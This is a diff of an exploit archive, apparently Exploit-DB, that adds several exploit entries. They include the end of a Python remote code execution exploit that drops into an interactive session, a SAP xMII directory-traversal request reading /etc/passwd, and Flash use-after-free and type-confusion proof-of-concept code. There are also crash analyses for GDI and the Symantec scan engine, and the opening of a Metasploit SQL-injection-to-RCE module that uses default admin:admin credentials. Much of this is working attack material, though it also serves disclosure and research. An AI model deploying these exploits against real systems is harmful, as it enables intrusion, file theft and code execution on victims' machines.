payload += struct.pack("B", lastfrag)
|
||||||
|
payload += buf
|
||||||
|
|
||||||
|
packet += payload
|
||||||
|
|
||||||
|
# Update payload length
|
||||||
|
packet[0x18:0x1C] = struct.pack(">I", len(packet))
|
||||||
|
|
||||||
|
|
||||||
|
packet = bytes(packet)
|
||||||
|
|
||||||
|
# Trigger the 2 write-4 and get code execution
|
||||||
|
sess1.send(packet)
|
||||||
|
|
||||||
|
# Hopefully we'll get something interesting
|
||||||
|
exploit.interact()
|
||||||
|
|
||||||
|
|
184
platforms/java/webapps/39837.txt
Executable file
184
platforms/java/webapps/39837.txt
Executable file
|
@ -0,0 +1,184 @@
|
||||||
|
Application: SAP xMII
|
||||||
|
|
||||||
|
Versions Affected: SAP MII 15.0
|
||||||
|
|
||||||
|
Vendor URL: http://SAP.com
|
||||||
|
|
||||||
|
Bugs: Directory traversal
|
||||||
|
|
||||||
|
Sent: 29.07.2015
|
||||||
|
|
||||||
|
Reported: 29.07.2015
|
||||||
|
|
||||||
|
Vendor response: 30.07.2015
|
||||||
|
|
||||||
|
Date of Public Advisory: 09.02.2016
|
||||||
|
|
||||||
|
Reference: SAP Security Note 2230978
|
||||||
|
|
||||||
|
Author: Dmitry Chastuhin (ERPScan)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Description
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
1. ADVISORY INFORMATION
|
||||||
|
|
||||||
|
Title: SAP xMII – directory traversal vulnerability
|
||||||
|
|
||||||
|
Advisory ID: [ERPSCAN-16-009]
|
||||||
|
|
||||||
|
Risk: high priority
|
||||||
|
|
||||||
|
Advisory URL: https://erpscan.com/advisories/erpscan-16-009-sap-xmii-directory-traversal-vulnerability/
|
||||||
|
|
||||||
|
Date published: 09.02.2016
|
||||||
|
|
||||||
|
Vendors contacted: SAP
|
||||||
|
|
||||||
|
|
||||||
|
2. VULNERABILITY INFORMATION
|
||||||
|
|
||||||
|
Class: [CWE-36]
|
||||||
|
|
||||||
|
Impact: SAP xMII directory traversal, read file from server
|
||||||
|
|
||||||
|
Remotely Exploitable: Yes
|
||||||
|
|
||||||
|
Locally Exploitable: No
|
||||||
|
|
||||||
|
CVE: CVE-2016-2389
|
||||||
|
|
||||||
|
|
||||||
|
CVSS Information
|
||||||
|
|
||||||
|
CVSS Base Score v3: 7.5 / 10
|
||||||
|
|
||||||
|
CVSS Base Vector:
|
||||||
|
|
||||||
|
AV : Access Vector (Related exploit range) Network (N)
|
||||||
|
|
||||||
|
AC : Access Complexity (Required attack complexity) Low (L)
|
||||||
|
|
||||||
|
Au : Authentication (Level of authentication needed to exploit) None (N)
|
||||||
|
|
||||||
|
C : Impact to Confidentiality High (H)
|
||||||
|
|
||||||
|
I : Impact to Integrity None(N)
|
||||||
|
|
||||||
|
A : Impact to Availability None (N)
|
||||||
|
|
||||||
|
|
||||||
|
3. VULNERABILITY DESCRIPTION
|
||||||
|
|
||||||
|
An attacker can use a special request to read files from a server to
|
||||||
|
escalate his or her privileges.
|
||||||
|
|
||||||
|
|
||||||
|
4. VULNERABLE PACKAGES
|
||||||
|
|
||||||
|
SAP MII 15.0
|
||||||
|
|
||||||
|
|
||||||
|
5. SOLUTIONS AND WORKAROUNDS
|
||||||
|
|
||||||
|
To correct this vulnerability, install SAP Security Note 2230978
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
6. AUTHOR
|
||||||
|
|
||||||
|
Dmitry Chastuhin (ERPScan)
|
||||||
|
|
||||||
|
|
||||||
|
7. TECHNICAL DESCRIPTION
|
||||||
|
|
||||||
|
An attacker can use xMII function GetFileList to read files from the server.
|
||||||
|
|
||||||
|
PoC
|
||||||
|
|
||||||
|
GET /XMII/Catalog?Mode=GetFileList&Path=Classes/../../../../../../../../../../../../etc/passwd
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
8. REPORT TIMELINE
|
||||||
|
|
||||||
|
Sent: 29.07.2015
|
||||||
|
|
||||||
|
Reported: 29.07.2015
|
||||||
|
|
||||||
|
Vendor response: 30.07.2015
|
||||||
|
|
||||||
|
Date of Public Advisory: 09.02.2016
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
9. REFERENCES
|
||||||
|
|
||||||
|
https://erpscan.com/advisories/erpscan-16-009-sap-xmii-directory-traversal-vulnerability/
|
||||||
|
|
||||||
|
|
||||||
|
10. ABOUT ERPScan Research
|
||||||
|
|
||||||
|
The company’s expertise is based on the research subdivision of
|
||||||
|
ERPScan, which is engaged in vulnerability research and analysis of
|
||||||
|
critical enterprise applications. It has achieved multiple
|
||||||
|
acknowledgments from the largest software vendors like SAP, Oracle,
|
||||||
|
Microsoft, IBM, VMware, HP for discovering more than 400
|
||||||
|
vulnerabilities in their solutions (200 of them just in SAP!).
|
||||||
|
|
||||||
|
ERPScan researchers are proud to have exposed new types of
|
||||||
|
vulnerabilities (TOP 10 Web Hacking Techniques 2012) and to be
|
||||||
|
nominated for the best server-side vulnerability at BlackHat 2013.
|
||||||
|
|
||||||
|
ERPScan experts have been invited to speak, present, and train at 60+
|
||||||
|
prime international security conferences in 25+ countries across the
|
||||||
|
continents. These include BlackHat, RSA, HITB, and private SAP
|
||||||
|
trainings in several Fortune 2000 companies.
|
||||||
|
|
||||||
|
ERPScan researchers lead the project EAS-SEC, which is focused on
|
||||||
|
enterprise application security research and awareness. They have
|
||||||
|
published 3 exhaustive annual award-winning surveys about SAP
|
||||||
|
security.
|
||||||
|
|
||||||
|
ERPScan experts have been interviewed by leading media resources and
|
||||||
|
featured in specialized info-sec publications worldwide. These include
|
||||||
|
Reuters, Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading,
|
||||||
|
Heise, and Chinabyte, to name a few.
|
||||||
|
|
||||||
|
We have highly qualified experts in staff with experience in many
|
||||||
|
different fields of security, from web applications and
|
||||||
|
mobile/embedded to reverse engineering and ICS/SCADA systems,
|
||||||
|
accumulating their experience to conduct the best SAP security
|
||||||
|
research.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
11. ABOUT ERPScan
|
||||||
|
|
||||||
|
ERPScan is the most respected and credible Business Application
|
||||||
|
Security provider. Founded in 2010, the company operates globally and
|
||||||
|
enables large Oil and Gas, Financial and Retail organizations to
|
||||||
|
secure their mission-critical processes. Named as an ‘Emerging Vendor’
|
||||||
|
in Security by CRN, listed among “TOP 100 SAP Solution providers” and
|
||||||
|
distinguished by 30+ other awards, ERPScan is the leading SAP SE
|
||||||
|
partner in discovering and resolving security vulnerabilities. ERPScan
|
||||||
|
consultants work with SAP SE in Walldorf to assist in improving the
|
||||||
|
security of their latest solutions.
|
||||||
|
|
||||||
|
ERPScan’s primary mission is to close the gap between technical and
|
||||||
|
business security, and provide solutions to evaluate and secure SAP
|
||||||
|
and Oracle ERP systems and business-critical applications from both,
|
||||||
|
cyber-attacks as well as internal fraud. Usually our clients are large
|
||||||
|
enterprises, Fortune 2000 companies and managed service providers
|
||||||
|
whose requirements are to actively monitor and manage security of vast
|
||||||
|
SAP landscapes on a global scale.
|
||||||
|
|
||||||
|
We ‘follow the sun’ and function in two hubs, located in the Palo Alto
|
||||||
|
and Amsterdam to provide threat intelligence services, agile support
|
||||||
|
and operate local offices and partner network spanning 20+ countries
|
||||||
|
around the globe.
|
12
platforms/multiple/dos/39824.txt
Executable file
12
platforms/multiple/dos/39824.txt
Executable file
|
@ -0,0 +1,12 @@
|
||||||
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=791
|
||||||
|
|
||||||
|
There is an out-of-bounds read in JXR processing. This issue is probably not exploitable, but could be used an an information leak.
|
||||||
|
|
||||||
|
To reproduce the issue, load the attach file '8' using LoadImage.swf as follows:
|
||||||
|
|
||||||
|
LoadImage.swf?img=8
|
||||||
|
|
||||||
|
|
||||||
|
Proof of Concept:
|
||||||
|
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39824.zip
|
||||||
|
|
13
platforms/multiple/dos/39825.txt
Executable file
13
platforms/multiple/dos/39825.txt
Executable file
|
@ -0,0 +1,13 @@
|
||||||
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=794
|
||||||
|
|
||||||
|
There is an out of bounds read when placing a corrupt image. This issue might be exploitable, depending on what is read.
|
||||||
|
|
||||||
|
A PoC is attached. To reproduce issue, put both files on a server, and load:
|
||||||
|
|
||||||
|
http://127.0.0.1/LoadImage.swf?img=70
|
||||||
|
|
||||||
|
|
||||||
|
Proof of Concept:
|
||||||
|
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39825.zip
|
||||||
|
|
||||||
|
|
12
platforms/multiple/dos/39826.txt
Executable file
12
platforms/multiple/dos/39826.txt
Executable file
|
@ -0,0 +1,12 @@
|
||||||
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=792
|
||||||
|
|
||||||
|
There is an overflow in the processing of raw 565 textures in ATF processing.
|
||||||
|
|
||||||
|
To reproduce the issue, load the attach file '70' using LoadImage.swf as follows:
|
||||||
|
|
||||||
|
LoadImage.swf?img=70
|
||||||
|
|
||||||
|
|
||||||
|
Proof of Concept:
|
||||||
|
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39826.zip
|
||||||
|
|
10
platforms/multiple/dos/39827.txt
Executable file
10
platforms/multiple/dos/39827.txt
Executable file
|
@ -0,0 +1,10 @@
|
||||||
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=789
|
||||||
|
|
||||||
|
There is a large heap overflow in reading an ATF image to a Bitmap object. To reproduce the issue, load the attach file '4' using LoadImage.swf as follows:
|
||||||
|
|
||||||
|
LoadImage.swf?img=4
|
||||||
|
|
||||||
|
|
||||||
|
Proof of Concept:
|
||||||
|
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39827.zip
|
||||||
|
|
8
platforms/multiple/dos/39828.txt
Executable file
8
platforms/multiple/dos/39828.txt
Executable file
|
@ -0,0 +1,8 @@
|
||||||
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=760
|
||||||
|
|
||||||
|
The attached mp4 file causes stack corruption in flash. To load, put LoadMP42.swf on a server and load http://127.0.0.1/LoadMP42.swf?file=t.mp4.
|
||||||
|
|
||||||
|
|
||||||
|
Proof of Concept:
|
||||||
|
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39828.zip
|
||||||
|
|
34
platforms/multiple/dos/39829.txt
Executable file
34
platforms/multiple/dos/39829.txt
Executable file
|
@ -0,0 +1,34 @@
|
||||||
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=799
|
||||||
|
|
||||||
|
There is a type confusion issue in the FileReference constructor. The constructor adds several properties to the constructed object before setting the type and data. If a watch is set on one of these properties, code can be called and the object can be initialized to one with a destructor before the FileReference constructor sets the object data, leading to type confusion when the object is garbage collected.
|
||||||
|
|
||||||
|
A minimal PoC is as follows:
|
||||||
|
|
||||||
|
function myfunc(){
|
||||||
|
|
||||||
|
this.__proto__ = {};
|
||||||
|
this.__proto__.__constructor__ = flash.display.BitmapData;
|
||||||
|
super(1000, 1000);
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
function mysubclass(){
|
||||||
|
|
||||||
|
|
||||||
|
this.watch("name", myfunc);
|
||||||
|
_global.ASnative(2204, 200)(this); // FileReference constructor
|
||||||
|
this.unwatch("name"); // let the reference free
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
var a = new subclass();
|
||||||
|
a = 0;
|
||||||
|
// wait for GC
|
||||||
|
|
||||||
|
|
||||||
|
Proof of Concept:
|
||||||
|
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39829.zip
|
||||||
|
|
22
platforms/multiple/dos/39830.txt
Executable file
22
platforms/multiple/dos/39830.txt
Executable file
|
@ -0,0 +1,22 @@
|
||||||
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=801
|
||||||
|
|
||||||
|
There is a use-after-free in addProperty. If a property is added to a MovieClip object that already has a watch defined, and the watch deleted the MovieClip, it is used after it is freed.
|
||||||
|
|
||||||
|
A minimal PoC follows:
|
||||||
|
|
||||||
|
var t = this.createEmptyMovieClip( "t", 1);
|
||||||
|
t.watch("a", func);
|
||||||
|
t.addProperty("a", func, func);
|
||||||
|
|
||||||
|
function func(){
|
||||||
|
|
||||||
|
trace("a");
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
A sample fla and swf are attached.
|
||||||
|
|
||||||
|
|
||||||
|
Proof of Concept:
|
||||||
|
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39830.zip
|
||||||
|
|
21
platforms/multiple/dos/39831.txt
Executable file
21
platforms/multiple/dos/39831.txt
Executable file
|
@ -0,0 +1,21 @@
|
||||||
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=800
|
||||||
|
|
||||||
|
There is a use-after-free in SetNative. If a watch is placed on a native that is initialized by SetNative, it can delete the object the set is being called on, leading to a use-after-free. A minimal PoC follows:
|
||||||
|
|
||||||
|
var t = this.createEmptyMovieClip("t", 1);
|
||||||
|
t.watch("a", func);
|
||||||
|
ASSetNative(t, 106, "a,b");
|
||||||
|
|
||||||
|
|
||||||
|
function func (){
|
||||||
|
|
||||||
|
t.removeMovieClip();
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
A swf and fla are attached.
|
||||||
|
|
||||||
|
|
||||||
|
Proof of Concept:
|
||||||
|
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39831.zip
|
||||||
|
|
88
platforms/multiple/dos/39834.txt
Executable file
88
platforms/multiple/dos/39834.txt
Executable file
|
@ -0,0 +1,88 @@
|
||||||
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=731
|
||||||
|
|
||||||
|
Two of the escape codes supported by the public ExtEscape() API are POSTSCRIPT_IDENTIFY and POSTSCRIPT_INJECTION, which are only processed if the Device Context is associated with a printer. In the code responsible for handling the two escape codes, we can find the following constructs:
|
||||||
|
|
||||||
|
--- cut ---
|
||||||
|
.text:7DAE3E9F mov ecx, [ebp+cjInput]
|
||||||
|
.text:7DAE3EA2 lea eax, [ecx+1Ah]
|
||||||
|
.text:7DAE3EA5 add ecx, 17h
|
||||||
|
.text:7DAE3EA8 cmp eax, ecx
|
||||||
|
.text:7DAE3EAA jb loc_7DAD19AD
|
||||||
|
.text:7DAE3EB0 and eax, 0FFFFFFFCh
|
||||||
|
.text:7DAE3EB3 mov [ebp+Size], eax
|
||||||
|
.text:7DAE3EB9 push [ebp+Size] ; Size
|
||||||
|
.text:7DAE3EBF mov eax, large fs:18h
|
||||||
|
.text:7DAE3EC5 mov eax, [eax+30h]
|
||||||
|
.text:7DAE3EC8 push 0 ; Flags
|
||||||
|
.text:7DAE3ECA push dword ptr [eax+18h] ; HeapHandle
|
||||||
|
.text:7DAE3ECD call ds:__imp__RtlAllocateHeap@12 ; RtlAllocateHeap(x,x,x)
|
||||||
|
...
|
||||||
|
.text:7DAE3EEF mov eax, [ebp+cjInput]
|
||||||
|
.text:7DAE3EF2 push eax ; Size
|
||||||
|
.text:7DAE3EF3 mov [esi+10h], eax
|
||||||
|
.text:7DAE3EF6 lea eax, [esi+14h]
|
||||||
|
.text:7DAE3EF9 push edi ; Src
|
||||||
|
.text:7DAE3EFA push eax ; Dst
|
||||||
|
.text:7DAE3EFB call _memcpy
|
||||||
|
--- cut ---
|
||||||
|
|
||||||
|
which can be translated to the following C-like pseudocode (assuming 32-bit wide types):
|
||||||
|
|
||||||
|
--- cut ---
|
||||||
|
if (cjInput + 26 > cjInput > 23) {
|
||||||
|
buffer = Allocate((cjInput + 26) & ~4);
|
||||||
|
...
|
||||||
|
memcpy(buffer + 20, lpInData, cjInput);
|
||||||
|
...
|
||||||
|
}
|
||||||
|
--- cut ---
|
||||||
|
|
||||||
|
From the code snippet shown above, it is clear that while it checks for a possible integer overflow between cjInput+23 and cjInput+26, it does not check if the "+23" part overflows the 32-bit type or not. As a consequence, if cjInput is set to anywhere between -23 and -1, a small heap-based buffer will be allocated (<30 bytes) and the function will try to copy ~4GB of data into it, leading to an obvious buffer overflow condition.
|
||||||
|
|
||||||
|
Under normal circumstances, the problem can only be triggered with an unusually large value of the cjInput parameter, which is unlikely to be used by a programmer. However, EMF (Enhanced Windows Metafile) files can act as remote proxy for DrawEscape() (via EMR_DRAWESCAPE) and ExtEscape() (via EMR_EXTESCAPE) calls. Interestingly, the corresponding MRESCAPE::bCheckRecord() record verification routine doesn't ensure that the cjInput value is valid (i.e. that enough input data is actually present in the record). As a result, a specially crafted EMF file can pass any controlled value as cjInput, thus potentially /lying/ to ExtEscape() about the number of input bytes. Lack of cjInput sanitization in MRESCAPE::bCheckRecord() is therefore believed to be the culprit of the bug (regardless of the integer overflow in ExtEscape()).
|
||||||
|
|
||||||
|
While this is just one example of what an arbitrary cjInput parameter passed to DrawEscape() / ExtEscape() may lead to, we suspect that it could also have other security implications, e.g. if any of the functions trust cjInput and read beyond the record buffer, and then use the data in such a way that it is possible to retrieve it back in the client (like Internet Explorer), then it could be used as a memory disclosure primitive.
|
||||||
|
|
||||||
|
As previously mentioned, the bug only reproduces when the destination HDC is associated with a printer. After a brief search I haven't found a vector to achieve this using existing Windows client applications supporting the EMF format (such as IE), so I've developed a short dedicated program to demonstrate the problem (poc.cc), which boils down to the following API calls:
|
||||||
|
|
||||||
|
--- cut ---
|
||||||
|
HDC hdc = CreateDC("WINSPOOL", "Fax", NULL, NULL);
|
||||||
|
HENHMETAFILE hemf = GetEnhMetaFile("poc.emf");
|
||||||
|
|
||||||
|
RECT rect = {0, 0, 100, 100};
|
||||||
|
PlayEnhMetaFile(hdc, hemf, &rect);
|
||||||
|
--- cut ---
|
||||||
|
|
||||||
|
Upon compiling it and starting with the enclosed poc.emf file in the current working directory, the expected crash is generated in memcpy():
|
||||||
|
|
||||||
|
--- cut ---
|
||||||
|
(353c.fa4): Access violation - code c0000005 (first chance)
|
||||||
|
First chance exceptions are reported before any exception handling.
|
||||||
|
This exception may be expected and handled.
|
||||||
|
eax=003300e7 ebx=004ffbe8 ecx=3ffffc39 edx=00000003 esi=00331000 edi=00500c1c
|
||||||
|
eip=779823a3 esp=0028fb34 ebp=0028fb3c iopl=0 nv up ei pl nz na po nc
|
||||||
|
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
|
||||||
|
ntdll!memcpy+0x33:
|
||||||
|
779823a3 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
|
||||||
|
|
||||||
|
0:000> kb
|
||||||
|
ChildEBP RetAddr Args to Child
|
||||||
|
0028fb3c 771a3f00 004ffd04 003300e8 ffffffff ntdll!memcpy+0x33
|
||||||
|
0028fd98 771c3fa9 bc21881a 00001015 ffffffff GDI32!ExtEscape+0x431
|
||||||
|
0028fdbc 77194e17 bc21881a 004f9588 00000004 GDI32!MRESCAPE::bPlay+0x32
|
||||||
|
0028fe34 7719ca93 bc21881a 004f9588 003300d8 GDI32!PlayEnhMetaFileRecord+0x2c5
|
||||||
|
0028febc 7719caf2 bc21881a 423d5f3a 00000000 GDI32!bInternalPlayEMF+0x66b
|
||||||
|
0028fed8 00401479 bc21881a b6467a1d 0028fef8 GDI32!PlayEnhMetaFile+0x32
|
||||||
|
WARNING: Stack unwind information not available. Following frames may be wrong.
|
||||||
|
0028ff18 004010fd 0028ff28 75949e34 7efde000 image00400000+0x1479
|
||||||
|
0028ff94 77999882 7efde000 4f2b9f18 00000000 image00400000+0x10fd
|
||||||
|
0028ffd4 77999855 00401280 7efde000 00000000 ntdll!__RtlUserThreadStart+0x70
|
||||||
|
0028ffec 00000000 00401280 7efde000 00000000 ntdll!_RtlUserThreadStart+0x1b
|
||||||
|
--- cut ---
|
||||||
|
|
||||||
|
The bug has been reproduced on a fully patched Windows 7 64-bit with a 32-bit POC program, but the 64-bit build of gdi32.dll also seems to be affected.
|
||||||
|
|
||||||
|
|
||||||
|
Proof of Concept:
|
||||||
|
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39834.zip
|
||||||
|
|
119
platforms/multiple/dos/39835.txt
Executable file
119
platforms/multiple/dos/39835.txt
Executable file
|
@ -0,0 +1,119 @@
|
||||||
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=820
|
||||||
|
|
||||||
|
When parsing executables packed by an early version of aspack, a buffer overflow can occur in the core Symantec Antivirus Engine used in most Symantec and Norton branded Antivirus products. The problem occurs when section data is truncated, that is, when SizeOfRawData is greater than SizeOfImage.
|
||||||
|
|
||||||
|
This is a remote code execution vulnerability. Because Symantec use a filter driver to intercept all system I/O, just emailing a file to a victim or sending them a link is enough to exploit it.
|
||||||
|
|
||||||
|
On Linux, Mac and other UNIX platforms, this results in a remote heap overflow as root in the Symantec or Norton process. On Windows, this results in kernel memory corruption, as the scan engine is loaded into the kernel (wtf!!!), making this a remote ring0 memory corruption vulnerability - this is about as bad as it can possibly get.
|
||||||
|
|
||||||
|
The obvious way to exploit this flaw is either via email or a web browser. The attached testcase contains the source code to build a PoC, which should BugCheck (i.e. BSOD) a system with Norton Antivirus installed, or crash Symantec Enterprise Endpoint service.
|
||||||
|
|
||||||
|
The file testcase.txt is a prebuilt binary (note that file extension is irrelevant here). Just clicking download should be enough to trigger a kernel panic on a vulnerable system (!!!).
|
||||||
|
|
||||||
|
When this file touches disk, Symantec will allocate SizeOfImage bytes and then memcpy all available data into the buffer from the truncated section resulting in heap or pool corruption. Effectively, we can get Symantec to execute a sequence like this:
|
||||||
|
|
||||||
|
char *buf = malloc(SizeOfImage);
|
||||||
|
|
||||||
|
memcpy(&buf[DataSection->VirtualAddress],
|
||||||
|
DataSection->PointerToRawData,
|
||||||
|
SectionSizeOnDisk);
|
||||||
|
|
||||||
|
All of these values, and all the data is under attacker control, making this a very clean overflow. Because this vulnerability exists in the core scan engine, the majority of Symantec products are vulnerable, this includes:
|
||||||
|
|
||||||
|
* Symantec Endpoint Antivirus (All platforms)
|
||||||
|
* Norton Antivirus (All platforms)
|
||||||
|
* Symantec Scan Engine (All platforms)
|
||||||
|
* Symantec Email Security (All platforms)
|
||||||
|
* ..and probably all other Symantec Antivirus products.
|
||||||
|
|
||||||
|
On Windows with Symantec Endpoint Antivirus, this vulnerability permits code execution as NT AUTHORITY\SYSTEM in the ccSvcHost.exe process. On Norton Antivirus for Windows, this code is loaded into the kernel and results kernel pool corruption.
|
||||||
|
|
||||||
|
1: kd> !analyze -v
|
||||||
|
*******************************************************************************
|
||||||
|
* *
|
||||||
|
* Bugcheck Analysis *
|
||||||
|
* *
|
||||||
|
*******************************************************************************
|
||||||
|
|
||||||
|
PAGE_FAULT_IN_NONPAGED_AREA (50)
|
||||||
|
Invalid system memory was referenced. This cannot be protected by try-except,
|
||||||
|
it must be protected by a Probe. Typically the address is just plain bad or it
|
||||||
|
is pointing at freed memory.
|
||||||
|
Arguments:
|
||||||
|
Arg1: 9e45c000, memory referenced.
|
||||||
|
Arg2: 00000001, value 0 = read operation, 1 = write operation.
|
||||||
|
Arg3: 82a81ff3, If non-zero, the instruction address which referenced the bad memory
|
||||||
|
address.
|
||||||
|
Arg4: 00000000, (reserved)
|
||||||
|
|
||||||
|
Debugging Details:
|
||||||
|
------------------
|
||||||
|
|
||||||
|
|
||||||
|
WRITE_ADDRESS: 9e45c000 Paged pool
|
||||||
|
|
||||||
|
FAULTING_IP:
|
||||||
|
nt!memcpy+33
|
||||||
|
82a81ff3 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
|
||||||
|
|
||||||
|
MM_INTERNAL_CODE: 0
|
||||||
|
|
||||||
|
DEFAULT_BUCKET_ID: WIN7_DRIVER_FAULT
|
||||||
|
|
||||||
|
BUGCHECK_STR: 0x50
|
||||||
|
|
||||||
|
PROCESS_NAME: NS.exe
|
||||||
|
|
||||||
|
CURRENT_IRQL: 2
|
||||||
|
|
||||||
|
ANALYSIS_VERSION: 6.3.9600.17336 (debuggers(dbg).150226-1500) x86fre
|
||||||
|
|
||||||
|
TRAP_FRAME: 9abd2094 -- (.trap 0xffffffff9abd2094)
|
||||||
|
ErrCode = 00000002
|
||||||
|
eax=b0849800 ebx=00010000 ecx=00001201 edx=00000000 esi=b0844ffc edi=9e45c000
|
||||||
|
eip=82a81ff3 esp=9abd2108 ebp=9abd2110 iopl=0 nv up ei pl nz ac po nc
|
||||||
|
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010212
|
||||||
|
nt!memcpy+0x33:
|
||||||
|
82a81ff3 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
|
||||||
|
Resetting default scope
|
||||||
|
|
||||||
|
LAST_CONTROL_TRANSFER: from 82b28ce7 to 82ac4308
|
||||||
|
1: kd> .trap 0xffffffff9abd2094
|
||||||
|
ErrCode = 00000002
|
||||||
|
eax=b0849800 ebx=00010000 ecx=00001201 edx=00000000 esi=b0844ffc edi=9e45c000
|
||||||
|
eip=82a81ff3 esp=9abd2108 ebp=9abd2110 iopl=0 nv up ei pl nz ac po nc
|
||||||
|
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010212
|
||||||
|
nt!memcpy+0x33:
|
||||||
|
82a81ff3 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
|
||||||
|
1: kd> db esi
|
||||||
|
b0844ffc 54 65 73 74 69 6e 67 53-79 6d 61 6e 74 65 63 45 TestingSymantecE
|
||||||
|
b084500c 78 70 6c 6f 69 74 54 65-73 74 69 6e 67 53 79 6d xploitTestingSym
|
||||||
|
b084501c 61 6e 74 65 63 45 78 70-6c 6f 69 74 54 65 73 74 antecExploitTest
|
||||||
|
b084502c 69 6e 67 53 79 6d 61 6e-74 65 63 45 78 70 6c 6f ingSymantecExplo
|
||||||
|
b084503c 69 74 54 65 73 74 69 6e-67 53 79 6d 61 6e 74 65 itTestingSymante
|
||||||
|
b084504c 63 45 78 70 6c 6f 69 74-54 65 73 74 69 6e 67 53 cExploitTestingS
|
||||||
|
b084505c 79 6d 61 6e 74 65 63 45-78 70 6c 6f 69 74 54 65 ymantecExploitTe
|
||||||
|
b084506c 73 74 69 6e 67 53 79 6d-61 6e 74 65 63 45 78 70 stingSymantecExp
|
||||||
|
1: kd> lmv mNAVEX15
|
||||||
|
start end module name
|
||||||
|
a1a1f000 a1bad180 NAVEX15 (no symbols)
|
||||||
|
Loaded symbol image file: NAVEX15.SYS
|
||||||
|
Image path: \??\C:\Program Files\Norton Security\NortonData\22.6.0.142\Definitions\VirusDefs\20160506.004\NAVEX15.SYS
|
||||||
|
Image name: NAVEX15.SYS
|
||||||
|
Timestamp: Tue Oct 13 17:32:30 2015 (561DA29E)
|
||||||
|
CheckSum: 00195B98
|
||||||
|
ImageSize: 0018E180
|
||||||
|
Translations: 0000.04b0 0000.04e4 0409.04b0 0409.04e4
|
||||||
|
|
||||||
|
The testcase attached produces an executable like this:
|
||||||
|
|
||||||
|
NAME RVA VSZ RAW_SZ RAW_PTR nREL REL_PTR nLINE LINE_PTR FLAGS
|
||||||
|
.data fff8 0 ffffffff 2000 0 0 0 0 0 ---
|
||||||
|
.text fff8 0 1000 1000 0 0 0 0 0 ---
|
||||||
|
|
||||||
|
Source code is included.
|
||||||
|
|
||||||
|
|
||||||
|
Proof of Concept:
|
||||||
|
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39835.zip
|
||||||
|
|
401
platforms/multiple/remote/39836.rb
Executable file
401
platforms/multiple/remote/39836.rb
Executable file
|
@ -0,0 +1,401 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
include Msf::Exploit::EXE
|
||||||
|
|
||||||
|
WINDOWS = /^win/i
|
||||||
|
LINUX = /linux/i
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => "Dell SonicWALL Scrutinizer 11.01 methodDetail SQL Injection",
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a vulnerability found in Dell SonicWALL Scrutinizer. The methodDetail
|
||||||
|
parameter in exporters.php allows an attacker to write arbitrary files to the file system
|
||||||
|
with an SQL Injection attack, and gain remote code execution under the context of SYSTEM
|
||||||
|
for Windows, or as Apache for Linux.
|
||||||
|
|
||||||
|
Authentication is required to exploit this vulnerability, but this module uses
|
||||||
|
the default admin:admin credential.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'bperry', # Original discovery, PoC, and Metasploit module
|
||||||
|
'sinn3r' # Metasploit module for native support
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'CVE', '2014-4977' ],
|
||||||
|
[ 'BID', '68495' ],
|
||||||
|
[ 'URL', 'http://seclists.org/fulldisclosure/2014/Jul/44' ],
|
||||||
|
[ 'URL','https://gist.github.com/brandonprry/76741d9a0d4f518fe297' ]
|
||||||
|
],
|
||||||
|
'Arch' => [ ARCH_X86 ],
|
||||||
|
'Platform' => [ 'win', 'linux' ],
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'Automatic', {} ],
|
||||||
|
[
|
||||||
|
'Dell SonicWALL Scrutinizer 11.01 on Windows',
|
||||||
|
{
|
||||||
|
